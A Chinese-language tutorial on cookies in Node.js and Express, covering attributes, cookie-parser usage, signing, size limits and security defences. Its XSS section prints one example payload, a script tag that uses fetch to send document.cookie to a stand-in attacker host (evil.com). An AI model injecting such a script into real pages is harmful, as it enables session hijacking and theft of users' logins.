Node系列 · Express:cookie 的基本概念

Node系列 · Express:cookie 的基本概念

Cookie 是 Web 最古老的客户端存储机制------浏览器每次请求自动带上同源 Cookie。本章讲清楚 Cookie 的工作原理、关键属性、安全问题。

一、Cookie 是什么

Cookie 是服务器下发给浏览器的少量数据,浏览器自动在后续请求中带回去:
服务器 浏览器 服务器 浏览器 #mermaid-svg-ewLg1f16IBsthEaF{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-ewLg1f16IBsthEaF .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-ewLg1f16IBsthEaF .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-ewLg1f16IBsthEaF .error-icon{fill:#552222;}#mermaid-svg-ewLg1f16IBsthEaF .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-ewLg1f16IBsthEaF .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-ewLg1f16IBsthEaF .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-ewLg1f16IBsthEaF .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-ewLg1f16IBsthEaF .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-ewLg1f16IBsthEaF .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-ewLg1f16IBsthEaF .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-ewLg1f16IBsthEaF .marker{fill:#333333;stroke:#333333;}#mermaid-svg-ewLg1f16IBsthEaF .marker.cross{stroke:#333333;}#mermaid-svg-ewLg1f16IBsthEaF svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-ewLg1f16IBsthEaF p{margin:0;}#mermaid-svg-ewLg1f16IBsthEaF .actor{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-ewLg1f16IBsthEaF text.actor>tspan{fill:black;stroke:none;}#mermaid-svg-ewLg1f16IBsthEaF .actor-line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);}#mermaid-svg-ewLg1f16IBsthEaF .innerArc{stroke-width:1.5;stroke-dasharray:none;}#mermaid-svg-ewLg1f16IBsthEaF .messageLine0{stroke-width:1.5;stroke-dasharray:none;stroke:#333;}#mermaid-svg-ewLg1f16IBsthEaF .messageLine1{stroke-width:1.5;stroke-dasharray:2,2;stroke:#333;}#mermaid-svg-ewLg1f16IBsthEaF #arrowhead path{fill:#333;stroke:#333;}#mermaid-svg-ewLg1f16IBsthEaF .sequenceNumber{fill:white;}#mermaid-svg-ewLg1f16IBsthEaF #sequencenumber{fill:#333;}#mermaid-svg-ewLg1f16IBsthEaF #crosshead path{fill:#333;stroke:#333;}#mermaid-svg-ewLg1f16IBsthEaF .messageText{fill:#333;stroke:none;}#mermaid-svg-ewLg1f16IBsthEaF .labelBox{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-ewLg1f16IBsthEaF .labelText,#mermaid-svg-ewLg1f16IBsthEaF .labelText>tspan{fill:black;stroke:none;}#mermaid-svg-ewLg1f16IBsthEaF .loopText,#mermaid-svg-ewLg1f16IBsthEaF .loopText>tspan{fill:black;stroke:none;}#mermaid-svg-ewLg1f16IBsthEaF .loopLine{stroke-width:2px;stroke-dasharray:2,2;stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);}#mermaid-svg-ewLg1f16IBsthEaF .note{stroke:#aaaa33;fill:#fff5ad;}#mermaid-svg-ewLg1f16IBsthEaF .noteText,#mermaid-svg-ewLg1f16IBsthEaF .noteText>tspan{fill:black;stroke:none;}#mermaid-svg-ewLg1f16IBsthEaF .activation0{fill:#f4f4f4;stroke:#666;}#mermaid-svg-ewLg1f16IBsthEaF .activation1{fill:#f4f4f4;stroke:#666;}#mermaid-svg-ewLg1f16IBsthEaF .activation2{fill:#f4f4f4;stroke:#666;}#mermaid-svg-ewLg1f16IBsthEaF .actorPopupMenu{position:absolute;}#mermaid-svg-ewLg1f16IBsthEaF .actorPopupMenuPanel{position:absolute;fill:#ECECFF;box-shadow:0px 8px 16px 0px rgba(0,0,0,0.2);filter:drop-shadow(3px 5px 2px rgb(0 0 0 / 0.4));}#mermaid-svg-ewLg1f16IBsthEaF .actor-man line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-ewLg1f16IBsthEaF .actor-man circle,#mermaid-svg-ewLg1f16IBsthEaF line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;stroke-width:2px;}#mermaid-svg-ewLg1f16IBsthEaF :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;} GET /login (无 Cookie)Set-Cookie: sessionId=abc123GET /api/users (Cookie: sessionId=abc123)200 OK (识别为已登录)

主要用于:

  • 会话管理:登录状态、购物车
  • 个性化:偏好设置、主题
  • 追踪:广告投放(GA、Facebook Pixel)

二、Cookie 的关键属性

http:cookie-headers.http 复制代码
HTTP/1.1 200 OK
Set-Cookie: token=abc123; Path=/; Expires=Wed, 21 Oct 2026 07:28:00 GMT; HttpOnly; Secure; SameSite=Lax
属性 作用
Name=Value 键值对数据
Domain 哪些域名可见(默认当前域)
Path 哪些路径发送(默认 /
Expires / Max-Age 过期时间;不设 = 会话级(关浏览器就消失)
HttpOnly JS 无法访问(防 XSS)
Secure 仅 HTTPS 传输
SameSite 跨站 Cookie 限制(防 CSRF)

2.1 重要属性详解

HttpOnly :JS 通过 document.cookie 读不到------防 XSS 偷 Cookie:

javascript:cookie-property.http 复制代码
// 有 HttpOnly:返回空字符串
document.cookie;
// 无 HttpOnly:返回 'token=abc123'

Secure :只通过 HTTPS 发送------HTTP 请求中浏览器会自动删除这个 Cookie。

SameSite

行为
Strict 任何跨站请求都不带
Lax(默认) 跨站 GET 导航带,POST / 表单提交 / iframe 不带
None 任何请求都带(必须配合 Secure

Lax 是现代浏览器默认,强烈推荐------能挡掉大部分 CSRF 攻击。

javascript:set-cookie.js 复制代码
// 方式 1:用 Set-Cookie header
res.setHeader('Set-Cookie', 'token=abc123; HttpOnly; Path=/; Max-Age=3600');

// 方式 2:用 cookie-parser(推荐)
res.cookie('token', 'abc123', {
  httpOnly: true,
  secure: true,           // 生产环境
  sameSite: 'lax',
  maxAge: 60 * 60 * 1000,  // 1 小时
});
javascript:read-cookie.js 复制代码
const cookie = require('cookie-parser');

app.use(cookie());

app.get('/api/profile', (req, res) => {
  const token = req.cookies.token;
  if (!token) {
    return res.status(401).json({ error: '未登录' });
  }
  // 验证 token...
  res.json({ user: 'alice' });
});

req.cookies 是对象:{ token: 'abc123', theme: 'dark' }

javascript:clear-cookie.js 复制代码
res.clearCookie('token');

服务器无法真正"删除"客户端的 Cookie,只能通过 Set-Cookie 把它设为过期------浏览器收到后会自动清除。

四、Cookie 大小与数量限制

浏览器 单 Cookie 大小 每域名 Cookie 数
Chrome 4096 字节 ~180
Firefox 4096 字节 ~150
Safari 4096 字节 ~600
Edge 4096 字节 ~180

::: warning

Cookie 不适合存大量数据 ------单个 4KB 上限,每个域名总数也有限制。大量数据用 sessionStorage / localStorage / IndexedDB。

:::

五、安全风险

攻击者注入 <script>fetch('evil.com?c=' + document.cookie)</script> 把 Cookie 发走。

防护 :Cookie 设 HttpOnly------JS 读不到。

5.2 CSRF(跨站请求伪造)

用户已登录 bank.com,访问恶意页面,恶意页面自动提交转账请求------浏览器自动带上 Cookie。

防护

手段 原理
SameSite=Lax 跨站请求不带 Cookie(现代浏览器默认)
CSRF Token 表单带服务端生成的 token,攻击者拿不到
检查 Origin / Referer 跨站请求的特征字段

Cookie 存客户端,理论上可被修改------所以永远不要把关键状态直接放 Cookie 明文。要么:

  • 签名(HMAC-SHA256)防止篡改
  • 加密存 sessionId,服务端校验 session

cookie-parser 的 secret 参数就是用来签名验证的。

javascript:cookie-signature.js 复制代码
app.use(cookieParser('my-secret'));

// 设置签名 Cookie
res.cookie('user', 'alice', { signed: true });

// 读取:req.signedCookies.user 是验签后的值
// 如果被篡改,req.signedCookies.user === false

六、Cookie vs LocalStorage vs SessionStorage

维度 Cookie LocalStorage SessionStorage
容量 4KB ~5MB ~5MB
自动随请求发送
JS 可访问 受 HttpOnly 限制
生命周期 可设过期 永久(除非主动删) 关页面即清
跨标签页共享 ❌(仅当前标签)
用途 会话标识、追踪 本地缓存 表单草稿

选型决策

数据类型 推荐
会话 ID / 登录态 Cookie(HttpOnly + Secure)
JWT token Cookie(防 XSS 偷) 或 Authorization header
用户偏好 / 草稿 LocalStorage / SessionStorage
缓存大体积数据 IndexedDB

七、最佳实践

场景 推荐
登录态 Cookie HttpOnly + Secure + SameSite=Lax + Max-Age
JWT 存储 Cookie(防 XSS)比 LocalStorage 更安全
第三方追踪 Cookie SameSite=None; Secure(跨站必需)
敏感数据 不要存 Cookie------只存 ID,详情查服务端
签名 / 加密 cookie-parser(secret) + signed: true
删除 服务端用 res.clearCookie()

八、小结

  • Cookie 是浏览器自动随请求发送的小数据------用于会话管理 / 个性化 / 追踪
  • 关键属性:HttpOnly(防 XSS)、Secure(仅 HTTPS)、SameSite=Lax(防 CSRF)
  • 服务端用 cookie-parser 读取:req.cookies / req.signedCookies
  • 设置:res.cookie(name, value, options);删除:res.clearCookie(name)
  • 永远不要在 Cookie 存敏感数据明文------只存 ID,详情查服务端
  • Cookie vs LocalStorage:Cookie 自动随请求发送适合会话,LocalStorage 适合本地缓存
相关推荐
__zRainy__16 小时前
Node系列 · Express:常用的中间件
中间件·node.js·express
FungLeo16 小时前
成为全栈·Node 后端篇·框架选型:Express、Koa、Fastify、NestJS 的差异与为何选 Hono
express·koa·nest.js·fastify·hono
__zRainy__2 天前
Node系列 · Express:nodemon
node.js·express
__zRainy__2 天前
Node系列 · Express:中间件
中间件·node.js·express
烂蜻蜓12 天前
Node.js入门教程(三十一):Express 框架
node.js·express
__zRainy__12 天前
Node.js Web 框架选型指南:从 Express 到 Hono 的全景对比
前端·node.js·express·koa·nestjs·egg·fastify
meilindehuzi_a13 天前
Express 基础到中间件:系统掌握常用 API 与请求处理链
中间件·express
liangshanbo121525 天前
Express SSE 流式输出实战:从入门 Demo 到 AI 生产级架构
人工智能·架构·express
GISHUB25 天前
Express + TypeScript + ESM 后端框架示例(@yao-pkg/pkg 打包)
typescript·express